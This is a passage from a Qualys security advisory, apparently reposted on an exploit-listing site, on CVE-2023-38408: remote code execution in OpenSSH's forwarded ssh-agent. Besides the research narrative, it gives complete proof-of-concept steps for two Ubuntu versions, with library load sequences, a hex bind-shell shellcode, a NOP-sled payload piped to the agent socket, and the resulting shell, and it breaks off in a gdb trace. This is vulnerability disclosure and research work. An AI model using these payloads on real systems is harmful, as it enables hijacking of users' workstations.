Share
## https://sploitus.com/exploit?id=PACKETSTORM:173661
Qualys Security Advisory  
  
CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent  
  
  
========================================================================  
Contents  
========================================================================  
  
Summary  
Background  
Experiments  
Results  
Discussion  
Acknowledgments  
Timeline  
  
  
========================================================================  
Summary  
========================================================================  
  
"ssh-agent is a program to hold private keys used for public key  
authentication. Through use of environment variables the agent can  
be located and automatically used for authentication when logging in  
to other machines using ssh(1). ... Connections to ssh-agent may be  
forwarded from further remote hosts using the -A option to ssh(1)  
(but see the caveats documented therein), avoiding the need for  
authentication data to be stored on other machines."  
(https://man.openbsd.org/ssh-agent.1)  
  
"Agent forwarding should be enabled with caution. Users with the  
ability to bypass file permissions on the remote host ... can access  
the local agent through the forwarded connection. ... A safer  
alternative may be to use a jump host (see -J)."  
(https://man.openbsd.org/ssh.1)  
  
Despite this warning, ssh-agent forwarding is still widely used today.  
Typically, a system administrator (Alice) runs ssh-agent on her local  
workstation, connects to a remote server with ssh, and enables ssh-agent  
forwarding with the -A or ForwardAgent option, thus making her ssh-agent  
(which is running on her local workstation) reachable from the remote  
server.  
  
While browsing through ssh-agent's source code, we noticed that a remote  
attacker, who has access to the remote server where Alice's ssh-agent is  
forwarded to, can load (dlopen()) and immediately unload (dlclose()) any  
shared library in /usr/lib* on Alice's workstation (via her forwarded  
ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).  
  
(Note to the curious readers: for security reasons, and as explained in  
the "Background" section below, ssh-agent does not actually load such a  
shared library in its own address space (where private keys are stored),  
but in a separate, dedicated process, ssh-pkcs11-helper.)  
  
Although this seems safe at first (because every shared library in  
/usr/lib* comes from an official distribution package, and no operation  
besides dlopen() and dlclose() is generally performed by ssh-agent on a  
shared library), many shared libraries have unfortunate side effects  
when dlopen()ed and dlclose()d, and are therefore unsafe to be loaded  
and unloaded in a security-sensitive program such as ssh-agent. For  
example, many shared libraries have constructor and destructor functions  
that are automatically executed by dlopen() and dlclose(), respectively.  
  
Surprisingly, by chaining four common side effects of shared libraries  
from official distribution packages, we were able to transform this very  
limited primitive (the dlopen() and dlclose() of shared libraries from  
/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent  
(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit  
default installations of Ubuntu Desktop plus three extra packages from  
Ubuntu's "universe" repository. We believe that even better results can  
be achieved (i.e., some operating systems might be exploitable in their  
default installation):  
  
- we only investigated Ubuntu Desktop 22.04 and 21.10, we have not  
looked into any other versions, distributions, or operating systems;  
  
- the "fuzzer" that we wrote to test our ideas is rudimentary and slow,  
and we ran it intermittently on a single laptop, so we have not tried  
all the combinations of shared libraries and side effects;  
  
- we initially had only one attack vector in mind (i.e., one specific  
combination of side effects from shared libraries), but we discovered  
six more while analyzing the results of our fuzzer, and we are  
convinced that more attack vectors exist.  
  
In this advisory, we present our research, experiments, reproducible  
results, and further ideas to exploit this "dlopen() then dlclose()"  
primitive. We will also publish the source code of our crude fuzzer at  
https://www.qualys.com/research/security-advisories/ (warning: this code  
might hurt the eyes of experienced fuzzing practitioners, but it gave us  
quick answers to our many questions; it is provided "as is", in the hope  
that it will be useful).  
  
  
========================================================================  
Background  
========================================================================  
  
The ability to load and unload shared libraries in ssh-agent was  
developed in 2010 to support the addition and deletion of PKCS#11 keys:  
ssh-agent forks and executes a long-running ssh-pkcs11-helper process  
that dlopen()s PKCS#11 providers (shared libraries), and immediately  
dlclose()s them if the symbol C_GetFunctionList cannot be found (i.e.,  
if such a shared library is not actually a PKCS#11 provider, which is  
the case for the vast majority of the shared libraries in /usr/lib*).  
  
Note: ssh-agent also supports the addition of FIDO keys, by loading a  
FIDO authenticator (a shared library) in a short-lived ssh-sk-helper  
process; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless  
(it terminates shortly after loading a single shared library) and can  
therefore not be abused by an attacker to chain the side effects of  
several shared libraries.  
  
Originally, the path of a shared library to be loaded in  
ssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an  
allow-list was added ("/usr/lib*/*,/usr/local/lib*/*" by default) in  
response to CVE-2016-10009, which was published by Jann Horn (at  
https://bugs.chromium.org/p/project-zero/issues/detail?id=1009):  
  
- if an attacker had access to the server where Alice's ssh-agent is  
forwarded to, and had an unprivileged access to Alice's workstation,  
then this attacker could store a malicious shared library in /tmp on  
Alice's workstation and execute it with Alice's privileges (via her  
forwarded ssh-agent) -- a mild form of Local Privilege Escalation;  
  
- if the attacker had only access to the server where Alice's ssh-agent  
is forwarded to, but could somehow store a malicious shared library  
somewhere on Alice's workstation (without access to her workstation),  
then this attacker could remotely execute this shared library (via  
Alice's forwarded ssh-agent) -- a mild form of Remote Code Execution.  
  
Our first reaction was of course to try to bypass ssh-agent's /usr/lib*  
allow-list:  
  
- by finding a logic bug in the filter function, match_pattern_list()  
(but we failed);  
  
- by making a path-traversal attack, for example /usr/lib/../../tmp (but  
we failed, because ssh-agent first calls realpath() to canonicalize  
the path of a shared library, and then calls the filter function);  
  
- by finding a locally or remotely writable file or directory in  
/usr/lib* (but we failed).  
  
Our only option, then, is to abuse side effects of the existing shared  
libraries in /usr/lib*; in particular, their constructor and destructor  
functions, which are automatically executed by dlopen() and dlclose().  
Eventually, we realized that this is essentially a remote version of  
CVE-2010-3856, which was published in 2010 by Tavis Ormandy (at  
https://seclists.org/fulldisclosure/2010/Oct/344):  
  
- an unprivileged local attacker could dlopen() any shared library from  
/lib and /usr/lib (via the LD_AUDIT environment variable), even when  
executing a SUID-root program;  
  
- the constructor functions of various common shared libraries created  
files and directories whose location depended on the attacker's  
environment variables and whose creation mode depended on the  
attacker's umask;  
  
- the local attacker could therefore create world-writable files and  
directories anywhere in the filesystem, and obtain full root  
privileges (via crond, for example).  
  
Although the ability to load and unload shared libraries from /usr/lib*  
in ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a  
much weaker position here, because we are trying to exploit ssh-agent  
remotely, so we do not control its environment variables nor its umask  
(and we do not even talk directly to ssh-pkcs11-helper, which actually  
dlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,  
which canonicalizes and filters our requests before passing them on to  
ssh-pkcs11-helper).  
  
In fact, we do not control anything except the order in which we load  
(and immediately unload) shared libraries from /usr/lib* in ssh-agent.  
At that point, we almost abandoned our research, because we could not  
possibly imagine how to transform this extremely limited primitive into  
a one-shot remote code execution. Nevertheless, we felt curious and  
decided to syscall-trace (strace) a dlopen() and dlclose() of every  
shared library in the default installation of Ubuntu Desktop. We  
instantly observed four surprising behaviors:  
  
------------------------------------------------------------------------  
  
1/ Some shared libraries require an executable stack, either explicitly  
because of an RWE (readable, writable, executable) GNU_STACK ELF header,  
or implicitly because of a missing GNU_STACK ELF header (in which case  
the loader defaults to an executable stack): when such an "execstack"  
library is dlopen()ed, the loader makes the main stack and all thread  
stacks executable, and they remain executable even after dlclose().  
  
For example, /usr/lib/systemd/boot/efi/linuxx64.elf.stub in the default  
installation of Ubuntu Desktop 22.04.  
  
------------------------------------------------------------------------  
  
2/ Many shared libraries are marked as "nodelete" by the loader, either  
explicitly because of a NODELETE ELF flag, or implicitly because they  
are in the dependency list of a NODELETE library: the loader will never  
unload (munmap()) such libraries, even after they are dlclose()d.  
  
For example, /usr/lib/x86_64-linux-gnu/librt.so.1 in the default  
installation of Ubuntu Desktop 22.04 and 21.10.  
  
------------------------------------------------------------------------  
  
3/ Some shared libraries register a signal handler for SIGSEGV when they  
are dlopen()ed, but they do not deregister this signal handler when they  
are dlclose()d (i.e., this signal handler is still registered when its  
code is munmap()ed).  
  
For example, /usr/lib/x86_64-linux-gnu/libSegFault.so in the default  
installation of Ubuntu Desktop 21.10.  
  
------------------------------------------------------------------------  
  
4/ Some shared libraries crash with a SIGSEGV as soon as they are  
dlopen()ed (usually because of a NULL-pointer dereference), because they  
are supposed to be loaded in a specific context, not in a random program  
such as ssh-agent.  
  
For example, most of the /usr/lib/x86_64-linux-gnu/xtables/lib*.so in  
the default installation of Ubuntu Desktop 22.04 and 21.10.  
  
------------------------------------------------------------------------  
  
And so an exciting idea to remotely exploit ssh-agent came into our  
mind:  
  
a/ make ssh-agent's stack executable (more precisely,  
ssh-pkcs11-helper's stack) by dlopen()ing one of the "execstack"  
libraries ("surprising behavior 1/"), and somehow store a 1990-style  
shellcode somewhere in this executable stack;  
  
b/ register a signal handler for SIGSEGV and immediately munmap() its  
code, by dlopen()ing and dlclose()ing one of the shared libraries from  
"surprising behavior 3/" (consequently, a dangling pointer to this  
unmapped signal handler is retained in the kernel);  
  
c/ replace the unmapped signal handler's code with another piece of code  
from another shared library, by dlopen()ing (mmap()ing) one of the  
"nodelete" libraries ("surprising behavior 2/");  
  
d/ raise a SIGSEGV by dlopen()ing one of the shared libraries from  
"surprising behavior 4/", so that the unmapped signal handler is called  
by the kernel, but the replacement code from the "nodelete" library is  
executed instead (a use-after-free of sorts);  
  
e/ hope that this replacement code (which is mapped where the signal  
handler was mapped) is a useful gadget that somehow jumps into the  
executable stack, exactly where our shellcode is stored.  
  
  
========================================================================  
Experiments  
========================================================================  
  
But "hope is not a strategy", so we decided to implement the following  
6-step plan to test our remote-exploitation idea in ssh-agent:  
  
------------------------------------------------------------------------  
  
Step 1 - We install a default Ubuntu Desktop, download all official  
packages from Ubuntu's "main" and "universe" repositories, and extract  
all /usr/lib* files from these packages. These files occupy ~200GB of  
disk space and include ~60,000 shared libraries.  
  
Note: after the default installation of Ubuntu Desktop, but before the  
extraction of all /usr/lib* files, we "chattr +i /etc/ld.so.cache" to  
make sure that this file does not grow unrealistically (from kilobytes  
to megabytes); indeed, it is mmap()ed by the loader every time dlopen()  
is called, and a large file might therefore destroy the mmap layout and  
prevent our fuzzer's results from being reproducible in the real world.  
  
------------------------------------------------------------------------  
  
Step 2 - For each shared library in /usr/lib*, we fork and execute  
ssh-pkcs11-helper, strace it, and request it to dlopen() (and hence  
immediately dlclose()) this shared library; if we spot anything unusual  
in the strace logs (a raised signal, a clone() call, etc) or outstanding  
differences in /proc/pid/maps or /proc/pid/status between before and  
after dlopen() and dlclose(), then we mark this shared library as  
interesting.  
  
------------------------------------------------------------------------  
  
Step 3 - We analyze the results of Step 2. For example, on Ubuntu  
Desktop 22.04:  
  
- 58 shared libraries make the stack executable when dlopen()ed (and the  
stack remains executable even after dlclose());  
  
- 16577 shared libraries permanently alter the mmap layout when  
dlopen()ed (either because they are "nodelete" libraries, or because  
they allocate a thread stack or otherwise leak mmap()ed memory);  
  
- 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do  
not deregister it when dlclose()d), and 238 shared libraries raise a  
SIGSEGV when dlopen()ed;  
  
- 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44  
shared libraries raise a SIGABRT when dlopen()ed.  
  
On Ubuntu Desktop 21.10:  
  
- 30 shared libraries make the stack executable;  
  
- 16172 shared libraries permanently alter the mmap layout;  
  
- 9 shared libraries register a SIGSEGV handler, and 147 shared  
libraries raise a SIGSEGV;  
  
- 2 shared libraries register a SIGABRT handler, and 38 shared libraries  
raise a SIGABRT;  
  
- 1 shared library registers a SIGBUS handler, and 11 shared libraries  
raise a SIGBUS;  
  
- 1 shared library registers a SIGCHLD handler, and 61 shared libraries  
raise a SIGCHLD;  
  
- 1 shared library registers a SIGILL handler, and 1 shared library  
raises a SIGILL.  
  
------------------------------------------------------------------------  
  
Step 4 - We implement a rudimentary fuzzing strategy, by forking and  
executing ssh-pkcs11-helper in a loop, and by loading (and unloading)  
random combinations of the interesting shared libraries from Step 3:  
  
a/ we randomly load zero or more shared libraries that permanently alter  
the mmap layout, in the hope of creating holes in the mmap layout, thus  
potentially shifting the replacement code (which will later replace the  
signal handler's code) with page precision;  
  
b/ we randomly load one shared library that registers a signal handler  
but does not deregister it when dlclose()d (i.e., when munmap()ed);  
  
c/ we randomly load zero or more shared libraries that alter the mmap  
layout (again), thus replacing the unmapped signal handler's code with  
another piece of code (a hopefully useful gadget) from another shared  
library (a "nodelete" library);  
  
d/ we randomly load one shared library that raises the signal that is  
caught by the unmapped signal handler: the replacement code (gadget) is  
executed instead, and if it jumps into the stack (a SEGV_ACCERR with a  
RIP register that points to the stack, because we did not make the stack  
executable in this Step 4), then we mark this particular combination of  
shared libraries as interesting.  
  
Surprise: we actually get numerous jumps to the stack in this Step 4,  
usually because the signal handler's code is replaced by a "jmp REG",  
"call REG", or "pop; pop; ret" gadget, and the "REG" or popped RIP  
register happens to point to the stack at the time of the jump.  
  
------------------------------------------------------------------------  
  
Step 5 - We implement this extra step to test whether the interesting  
combinations of shared libraries from Step 4 actually jump into our  
shellcode in the stack, or into uncontrolled data in the stack:  
  
a/ we make the stack executable, by randomly loading one of the  
"execstack" libraries from Step 3;  
  
b/ we store ~10KB of 0xcc bytes in the stack buffer "buf" of  
ssh-pkcs11-helper's main() function: 10KB is the maximum message length  
that we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc  
is the "int3" instruction that generates a SIGTRAP when executed;  
  
c/ we randomly replay one of the interesting combinations of shared  
libraries from Step 4: if a SIGTRAP is generated while the RIP register  
points to the stack, then there is a fair chance that ssh-pkcs11-helper  
jumped into our shellcode (our 0xcc bytes) in the executable stack.  
  
Surprise: we actually get many SIGTRAPs in the stack during this Step 5,  
but to our great dismay, most of these SIGTRAPs are generated because  
ssh-pkcs11-helper jumps into the stack, in the middle of a pointer that  
is stored on the stack and that happens to contain a 0xcc byte because  
of ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc  
bytes in the stack).  
  
------------------------------------------------------------------------  
  
Step 6 - We implement this extra step to eliminate the false positives  
produced by Step 5:  
  
a/ we repeatedly replay (N times) each combination of shared libraries  
that generates a SIGTRAP in the stack: if N SIGTRAPs are generated out  
of N replays, then there is an excellent chance that ssh-pkcs11-helper  
does indeed jump into our shellcode (our 0xcc bytes) in the stack (and  
not into random bytes that happen to be 0xcc because of ASLR);  
  
b/ if this is confirmed by a manual check (with gdb for example), then  
we achieved a reliable, one-shot remote code execution in ssh-agent,  
despite the very limited primitive, and despite ASLR, PIE, and NX.  
  
  
========================================================================  
Results  
========================================================================  
  
In this section, we present the results of our experiments:  
  
- Signal handler use-after-free (Ubuntu Desktop 22.04)  
- Signal handler use-after-free (Ubuntu Desktop 21.10)  
- Callback function use-after-free  
- Return from syscall use-after-free  
- Sigaltstack use-after-free  
- Sigreturn to arbitrary instruction pointer  
- _Unwind_Context type-confusion  
- RCE in library constructor  
  
  
========================================================================  
Signal handler use-after-free (Ubuntu Desktop 22.04)  
========================================================================  
  
This was our original idea for remotely attacking ssh-agent, as  
discussed at the end of the "Background" section and as implemented in  
the "Experiments" section. In this subsection, we present one of the  
various combinations of shared libraries that result in a reliable,  
one-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.  
  
------------------------------------------------------------------------  
  
1a/ On our local workstation, we install a default Ubuntu Desktop 22.04  
(https://old-releases.ubuntu.com/releases/22.04/ubuntu-22.04-desktop-amd64.iso),  
without connecting this workstation to the Internet.  
  
------------------------------------------------------------------------  
  
1b/ After the installation is complete, we modify /etc/apt/sources.list  
to prevent any package from being upgraded to a version that is not the  
one that we used in our experiments:  
  
workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup  
workstation# grep ' jammy ' /etc/apt/sources.list.backup > /etc/apt/sources.list  
  
------------------------------------------------------------------------  
  
1c/ We connect our workstation to the Internet, and install the three  
packages (from Ubuntu's official "universe" repository) that contain the  
three shared libraries used in this particular attack against ssh-agent:  
  
workstation# apt-get update  
workstation# apt-get upgrade  
workstation# apt-get --no-install-recommends install eclipse-titan  
workstation# apt-get --no-install-recommends install libkf5sonnetui5  
workstation# apt-get --no-install-recommends install libns3-3v5  
  
------------------------------------------------------------------------  
  
2/ As Alice, we run ssh-agent on our local workstation, connect to a  
remote server with ssh, and enable ssh-agent forwarding with -A:  
  
workstation$ id  
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)  
  
workstation$ eval `ssh-agent -s`  
Agent pid 1105  
  
workstation$ echo /tmp/ssh-*/agent.*  
/tmp/ssh-XXXXXXmgHTo9/agent.1104  
  
workstation$ ssh -A server  
  
server$ id  
uid=1001(alice) gid=1001(alice) groups=1001(alice)  
  
server$ echo /tmp/ssh-*/agent.*  
/tmp/ssh-N5EjHljGRh/agent.1299  
  
------------------------------------------------------------------------  
  
3/ Then, as a remote attacker who has access to this server:  
  
------------------------------------------------------------------------  
  
3a/ we remotely make ssh-agent's stack executable (more precisely,  
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding (indeed,  
the ssh-agent itself is running on Alice's workstation, not on the  
server):  
  
server# echo /tmp/ssh-*/agent.*  
/tmp/ssh-N5EjHljGRh/agent.1299  
  
server# export SSH_AUTH_SOCK=/tmp/ssh-N5EjHljGRh/agent.1299  
  
server# ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation  
  
------------------------------------------------------------------------  
  
3b/ we remotely store a shellcode in the stack buffer "buf" of  
ssh-pkcs11-helper's main() function:  
  
server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'  
  
server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"  
[Press Ctrl-C after a few seconds.]  
  
- we do not use ssh-add here, because we want to send a ~10KB passphrase  
(our shellcode) to ssh-agent, but ssh-add limits the length of our  
passphrase to 1KB;  
  
- "\x90" x 10000 is a ~10KB "NOP sled" (on amd64, 0x90 is the "nop"  
instruction);  
  
- SHELLCODE is a "TCP bind shell" on port 31337 (from  
https://shell-storm.org/shellcode/files/shellcode-858.html);  
  
- /usr/lib/modules is an existing directory whose path matches  
ssh-agent's /usr/lib* allow-list (indeed, we do not want to actually  
load a shared library here -- we just want to store our shellcode in  
the executable stack);  
  
------------------------------------------------------------------------  
  
3c/ we remotely register a SIGSEGV handler, and immediately munmap() its  
code:  
  
server# ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation  
  
------------------------------------------------------------------------  
  
3d/ we remotely replace the unmapped SIGSEGV handler's code with another  
piece of code (a useful gadget) from another shared library:  
  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused operation  
  
------------------------------------------------------------------------  
  
3e/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:  
  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0  
Enter passphrase for PKCS#11: whatever  
[Press Ctrl-C after a few seconds.]  
  
------------------------------------------------------------------------  
  
3f/ the replacement code (gadget) is executed (instead of the unmapped  
SIGSEGV handler's code) and jumps to the stack, into our shellcode,  
which binds a shell on TCP port 31337 on Alice's workstation:  
  
server# nc -v workstation 31337  
Connection to workstation 31337 port [tcp/*] succeeded!  
  
workstation$ id  
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)  
  
workstation$ ps axuf  
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND  
...  
alice 1105 0.0 0.1 7968 4192 ? Ss 09:48 0:00 ssh-agent -s  
alice 1249 0.0 0.0 2888 956 ? S 10:03 0:00 \_ [sh]  
alice 1268 0.0 0.0 7204 3092 ? R 10:14 0:00 \_ ps axuf  
  
------------------------------------------------------------------------  
  
To get a clear view of the replacement code (the useful gadget) that is  
executed instead of the unmapped SIGSEGV handler and that jumps into the  
NOP sled of our shellcode (in the executable stack), we relaunch our  
attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:  
  
workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1307  
...  
(gdb) continue  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from /lib/x86_64-linux-gnu/libstdc++.so.6  
  
(gdb) stepi  
0x00007fb15d0e1250 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5  
  
(gdb) x/10i 0x00007fb15d0e1250  
=> 0x7fb15d0e1250: add %rcx,%rdx  
0x7fb15d0e1253: notrack jmp *%rdx  
...  
  
(gdb) stepi  
0x00007fb15d0e1253 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5  
  
(gdb) stepi  
0x00007ffc2ec82691 in ?? ()  
  
(gdb) x/10i 0x00007ffc2ec82691  
=> 0x7ffc2ec82691: nop  
0x7ffc2ec82692: nop  
0x7ffc2ec82693: nop  
0x7ffc2ec82694: nop  
0x7ffc2ec82695: nop  
0x7ffc2ec82696: nop  
0x7ffc2ec82697: nop  
0x7ffc2ec82698: nop  
0x7ffc2ec82699: nop  
0x7ffc2ec8269a: nop  
  
(gdb) !grep stack /proc/1307/maps  
7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0 [stack]  
  
  
========================================================================  
Signal handler use-after-free (Ubuntu Desktop 21.10)  
========================================================================  
  
In this subsection, we present one of the various combinations of shared  
libraries that result in a reliable, one-shot remote code execution in  
ssh-agent on Ubuntu Desktop 21.10.  
  
------------------------------------------------------------------------  
  
1a/ On our local workstation, we install a default Ubuntu Desktop 21.10  
(https://old-releases.ubuntu.com/releases/21.10/ubuntu-21.10-desktop-amd64.iso),  
without connecting this workstation to the Internet.  
  
------------------------------------------------------------------------  
  
1b/ After the installation is complete, we modify /etc/apt/sources.list  
to prevent any package from being upgraded to a version that is not the  
one that we used in our experiments:  
  
workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup  
workstation# echo 'deb https://old-releases.ubuntu.com/ubuntu/ impish main restricted universe' > /etc/apt/sources.list  
  
------------------------------------------------------------------------  
  
1c/ We connect our workstation to the Internet, and install the three  
packages (from Ubuntu's official "universe" repository) that contain the  
three extra shared libraries used in this attack against ssh-agent:  
  
workstation# apt-get update  
workstation# apt-get upgrade  
workstation# apt-get --no-install-recommends install syslinux-common  
workstation# apt-get --no-install-recommends install libgnatcoll-postgres1  
workstation# apt-get --no-install-recommends install libenca-dbg  
  
------------------------------------------------------------------------  
  
2/ As Alice, we run ssh-agent on our local workstation, connect to a  
remote server with ssh, and enable ssh-agent forwarding with -A:  
  
workstation$ id  
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)  
  
workstation$ eval `ssh-agent -s`  
Agent pid 912  
  
workstation$ echo /tmp/ssh-*/agent.*  
/tmp/ssh-GnpGKph6xbe3/agent.911  
  
workstation$ ssh -A server  
  
server$ id  
uid=1001(alice) gid=1001(alice) groups=1001(alice)  
  
server$ echo /tmp/ssh-*/agent.*  
/tmp/ssh-30N8pjTKWn/agent.996  
  
------------------------------------------------------------------------  
  
3/ Then, as a remote attacker who has access to this server:  
  
------------------------------------------------------------------------  
  
3a/ we remotely make ssh-agent's stack executable (more precisely,  
ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding:  
  
server# echo /tmp/ssh-*/agent.*  
/tmp/ssh-30N8pjTKWn/agent.996  
  
server# export SSH_AUTH_SOCK=/tmp/ssh-30N8pjTKWn/agent.996  
  
server# ssh-add -s /usr/lib/syslinux/modules/efi64/gfxboot.c32  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/syslinux/modules/efi64/gfxboot.c32": agent refused operation  
  
------------------------------------------------------------------------  
  
3b/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:  
  
server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'  
  
server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"  
[Press Ctrl-C after a few seconds.]  
  
------------------------------------------------------------------------  
  
3c/ we remotely alter the mmap layout of ssh-pkcs11-helper:  
  
server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so": agent refused operation  
  
------------------------------------------------------------------------  
  
3d/ we remotely register a SIGBUS handler, and immediately munmap() its  
code:  
  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1  
Enter passphrase for PKCS#11: whatever  
Could not add card "/usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1": agent refused operation  
  
------------------------------------------------------------------------  
  
3e/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and  
replace the unmapped SIGBUS handler's code with another piece of code (a  
useful gadget) from another shared library:  
  
server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-http-protocol-unix.so  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/sane/libsane-hp.so.1.0.32  
server# ssh-add -s /usr/lib/libreoffice/program/libindex_data.so  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstaudiorate.so  
server# ssh-add -s /usr/lib/libreoffice/program/libscriptframe.so  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libisccc-9.16.15-Ubuntu.so  
server# ssh-add -s /usr/lib/x86_64-linux-gnu/libxkbregistry.so.0.0.0  
  
------------------------------------------------------------------------  
  
3f/ we remotely raise a SIGBUS in ssh-pkcs11-helper:  
  
server# ssh-add -s /usr/lib/debug/.build-id/15/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug  
Enter passphrase for PKCS#11: whatever  
[Press Ctrl-C after a few seconds.]  
  
------------------------------------------------------------------------  
  
3g/ the replacement code (gadget) is executed (instead of the unmapped  
SIGBUS handler's code) and jumps to the stack, then into our shellcode,  
which binds a shell on TCP port 31337 on Alice's workstation:  
  
server# nc -v workstation 31337  
Connection to workstation 31337 port [tcp/*] succeeded!  
  
workstation$ id  
uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)  
  
workstation$ ps axuf  
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND  
...  
alice 912 0.0 0.0 6060 2312 ? Ss 17:18 0:00 ssh-agent -s  
alice 928 0.0 0.0 2872 956 ? S 17:25 0:00 \_ [sh]  
alice 953 0.0 0.0 7060 3068 ? R 17:40 0:00 \_ ps axuf  
  
------------------------------------------------------------------------  
  
To get a clear view of the replacement code (the useful gadget) that is  
executed instead of the unmapped SIGBUS handler and that jumps into the  
NOP sled of our shellcode (in the executable stack), we relaunch our  
attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:  
  
workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1225  
...  
(gdb) continue  
Continuing.  
  
Program received signal SIGBUS, Bus error.  
memset () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:186  
  
(gdb) stepi  
0x00007f2ba9d7c350 in ?? () from /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3  
  
(gdb) x/10i 0x00007f2ba9d7c350  
=> 0x7f2ba9d7c350: add $0x28,%rsp  
0x7f2ba9d7c354: mov %r12,%rax  
0x7f2ba9d7c357: pop %rbx  
0x7f2ba9d7c358: pop %rbp  
0x7f2ba9d7c359: pop %r12  
